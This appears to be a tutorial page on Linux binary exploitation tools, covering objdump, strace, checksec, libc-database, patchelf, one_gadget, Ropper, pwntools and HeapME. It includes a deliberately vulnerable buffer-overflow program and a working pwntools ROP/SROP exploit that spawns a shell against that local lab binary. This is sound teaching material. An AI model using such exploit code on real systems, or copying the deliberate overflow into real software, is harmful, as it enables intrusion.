๐งExploit Development Tools
Hello.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char *ptr = malloc(30);
strncpy(ptr, "Hello World", 11);
printf("%s - ", ptr);
free(ptr);
puts("First Program");
return 0;
}
gcc hello.c -o hello
./hello
Tool: ldd
The ldd tool displays the shared libraries loaded by programs at runtime.
These libraries have the su๏ฌx .so (shared object) and consist of individual ๏ฌles that contain a list of functions.
Attack opportunities range from ๏ฌnding weak ๏ฌle permissions and using rpath to replace a shared library with an evil one, to being able to leak an address of a loaded library, and even abusing its interesting gadgets to achieve execution ๏ฌow control with ROP/JOP code-reuse attack techniques.
ldd /bin/ls
Tool: objdump
We can use objdump as a command-line disassembler and also to get important information about executable ๏ฌles and objects.
Getting the Global Offset Table (GOT) and Procedure Linkage Table (PLT)
With the -R option, you can display the list of functions in the GOT:
objdump -R ./hello
Now letโs use objdump to locate the address that will be called in the PLT to get to the puts() function:
objdump -M intel -d -j .plt ./hello | grep 4020
-M intel tells objdump to use Intel syntax mode instead of the default (AT&T).
-d is short for --disassemble.
-j .plt speci๏ฌes the section we want to display (PLT).
Now we will use -j .text to ๏ฌnd the call to puts in the program we are analyzing:
objdump -M intel -d -j .text ./hello | grep 1040
Finding References to Constant Strings
Step 1: Using strings
strings -tx hello | grep "6th"
-tx (-t is for radix, x is for hexadecimal) prints the o๏ฌset within the ๏ฌle at the beginning of each string.
Step 2: Using objdump
objdump -M intel -d ./hello | grep -C1 200a
Tool: strace
The strace command-line utility is useful when we need to trace system calls and signals.
It uses the ptrace system call to inspect and manipulate the target program, and besides allowing us to better understand the programโs behavior.
Install strace
sudo apt install strace
Run strace
strace ./hello
Trace/Filter Specific System Call
strace -e trace=write ./hello
Program behavior if write function is not implemented
strace -e trace=write -e fault=write ./hello
Inject Error EAGAIN
strace -e fault=write:error=EAGAIN ./hello
Injecting Delays
Letโs inject a delay of 1 second before the read function executes (delay_enter) and a delay 1 second after the write function executes (delay_exit). By default, the expected time precision is microseconds:
strace -e inject=read:delay_enter=1000000 -e inject=write:delay_exit=1000000 ./hello
Reference
Tool: ltrace
The main purpose of the ltrace utility is to trace calls to shared libraries and their responses, but it can also be used to trace system calls.
Install ltrace
sudo apt install ltrace
Run ltrace
ltrace ./hello
Display System Calls
ltrace -S ./hello
Tool: checksec
The checksec shell script parses a programโs ELF header to determine which compile-time mitigation technologies are being used, such as RELRO, NX, Stack Canaries, ASLR, and PIE.
Install checksec
sudo apt install checksec
git clone https://github.com/slimm609/checksec.sh
Run checksec
./checksec --file=./hello
Compile hello.c with security mitigations
gcc hello.c -Wl,-z,relro,-z,now -O2 -D_FORTIFY_SOURCE=2 -s -fstack-protector-all -o hello-stronger
Run hello-stronger
./hello-stronger
libc-database
Sometimes you manage to ๏ฌnd and exploit an information leak vulnerability, but it is impossible to calculate the o๏ฌset to the libc base or other functions unless you know the libc version being used on the remote host. The libc-database downloads a list of con๏ฌgured libc versions, extracts the symbol o๏ฌsets, and allows you to query the function name and leaked address in order to identify the libc version being used.
Clone libc-database
git clone https://github.com/niklasb/libc-database.git
Download libc version for Kali
./get kali
Find libc versions
Get puts offset
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep puts
Find script
./find puts 765f0
Online Database
Tool: patchelf
The patchelf command-line utility allows us to modify the libraries of an ELF executable. It is very useful when we are doing heap analysis on a di๏ฌerent libc version than the one being used by the remote system, or when we donโt have access to the source code and want to run multiple libc versions on the same system.
Install patchelf
sudo apt install patchelf
Patching hello binary
We ๏ฌrst create the lib folder and copy the systemโs ld-linux.so and libc:
mkdir lib
cp /lib64/ld-linux-x86-64.so.2 lib/my-ld.so
cp /lib/x86-64-linux-gnu/libc-2.31.so lib
ln -s libc-2.31.so lib/libc.so.6
Patch Hello binary
patchelf --set-interpreter ./lib/my-ld.so --set-rpath ./lib hello
ldd hello
./hello
Tool: one_gadget
One_gadgets are found in libc and provide a simple way of getting a shell by jumping to a single gadget to execute execve("/bin/sh", NULL, NULL)
We can ๏ฌnd these magical gadgets in one of two ways: by manually using strings and objdump
or by using the one_gadget
tool.
Manually Using Strings and objdump
Getting offeset address using strings
strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
Look for references using objdump
objdump -M intel -d /lib/x86_64-linux-gnu/libc.so.6 | grep -C8 1d8678
Using the one_gadget Tool
Install one_gadget
gem install one_gadget
Run one_gadget
one_gadget /lib/x86_64-linux-gnu/libc.so.6
Tool: Ropper
Ropper is a useful tool for generating ROP chains and ๏ฌnding code reuse gadgets. It is capable of loading ELF, PE, and Mach-O binary ๏ฌle formats, and it supports multiple architectures (x86, x86_64, MIPS, MIPS64, ARM/Thumb, ARM64, PowerPC, and Sparc) using the Capstone disassembly framework
Install Ropper
sudo apt install ropper
OR
pip3 install ropper
Create a ROP Chain
ROP chain that calls mprotect() to enable executable permission on an arbitrary address:
ropper --file hello --chain 'mprotect address=0xdeadbabe size=0x1000'
Extending gdb with Python
Support for extending gdb with Python was added in version 7. This feature is only available if gdb was compiled with the con๏ฌguration option --with-python
.
GDB Scripts
Gef: GDB enhanced features for exploit developers and reverse engineers
Pwndbg: Exploit development and reverse engineering with GDB Made Easy
PEDA: Python Exploit Development Assistance for GDB
Pwntools CTF Framework and Exploit Development Library
Pwntools is a capture the ๏ฌag (CTF) and exploit development library thatโs excellent for the rapid prototyping of exploits. It saves you signi๏ฌcant time and e๏ฌort when writing common exploitation tasks, letting you focus on the logics of your exploit, as well as provides a vast set of useful features.
Install pwntools
sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
Summary of Features
python3
from pwn import *
Packing and Unpacking Strings
p8(0)
p32(0xdeadbeef)
p64(0xdeadbeef, endian='big')
Assemble and Dissamble Code
asm('nop')
print(disasm(b'\x8b\x45\xfc'))
ELF symbol resolver
ELF("/lib/x86_64-linux-gnu/libc.so.6")
Other features include functions to assist with common exploitation primitives and techniques, such as building ROP chains, shellcodes and SROP structures, dynamic memory leak helpers, format string exploitation, cyclic pattern generation, and more.
leak-bof.c
leak-bof.c
// leak-bof.c
#include <stdio.h>
#include <unistd.h>
void vuln() {
char buff[128];
printf("Overflows with 128 bytes: ");
fflush(stdout);
read(0, buff, 2000);
}
int main(int argc, char **argv) {
printf("I'm leaking printf: %p\n", (long)printf);
vuln();
}
gcc -o leak-bof leak-bof.c
leak-bof-exploit.py
#!/usr/bin/env python3
from pwn import *
context.update(arch='amd64', os='linux')
elf = ELF("./leak-bof")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.33.so")
p = process("./leak-bof")
l = log.progress("Stage 1: leak printf and calculate libc's base address")
p.readuntil(b"I'm leaking printf: ")
libc.address = int(p.readline(), 16) - libc.sym['printf']
l.success(f"0x{libc.address:x}")
rop = ROP(libc.file.name)
l = log.progress("Stage 2: pop a shell with ROP + SROP payload")
bin_sh = next(libc.search(b'/bin/sh'))
syscall = libc.address + rop.syscall.address
rop.raw(libc.address + rop.find_gadget(['pop rax', 'ret']).address)
rop.raw(constants.SYS_rt_sigreturn)
rop.raw(syscall)
# build SROP frame
frame = SigreturnFrame(kernel="amd64", arch="amd64")
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = bin_sh
frame.rip = syscall
# send stack smash and payload
p.sendlineafter(b": ", b"A"*136 + rop.chain() + bytes(frame))
l.success('Enjoy!')
p.interactive()
python3 leak-bof-exploit.py
HeapME (Heap Made Easy) Heap Analysis and Collaboration Tool
Install HeapME
git clone https://github.com/htejeda/gef.git
pip install -r gef/requirements.txt
echo "source ~/gef/gef.py\nsource ~/gef/scripts/heapme.py" > ~/.gdbinit
gdb
help heapme
heapme_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void *x[8];
int main() {
for (int i=0; i < 8; i++) {
x[i] = malloc(0x38);
memset(x[i], (i + 0x30), 0x38);
}
for (int i=0; i < 8; i++)
free(x[i]);
fprintf(stderr, "Press CTRL+C to exit.\n");
pause();
return 0;
}
gcc heapme_demo.c -o heapme_demo
Register and Login
Debug ./heapme_demo
gdb ./heapme_demo
start
heap-analysis-helper
heapme init https://heapme.f2tc.com/<your-token>
heapme watch malloc
heapme watch free
continue
Last updated
Was this helpful?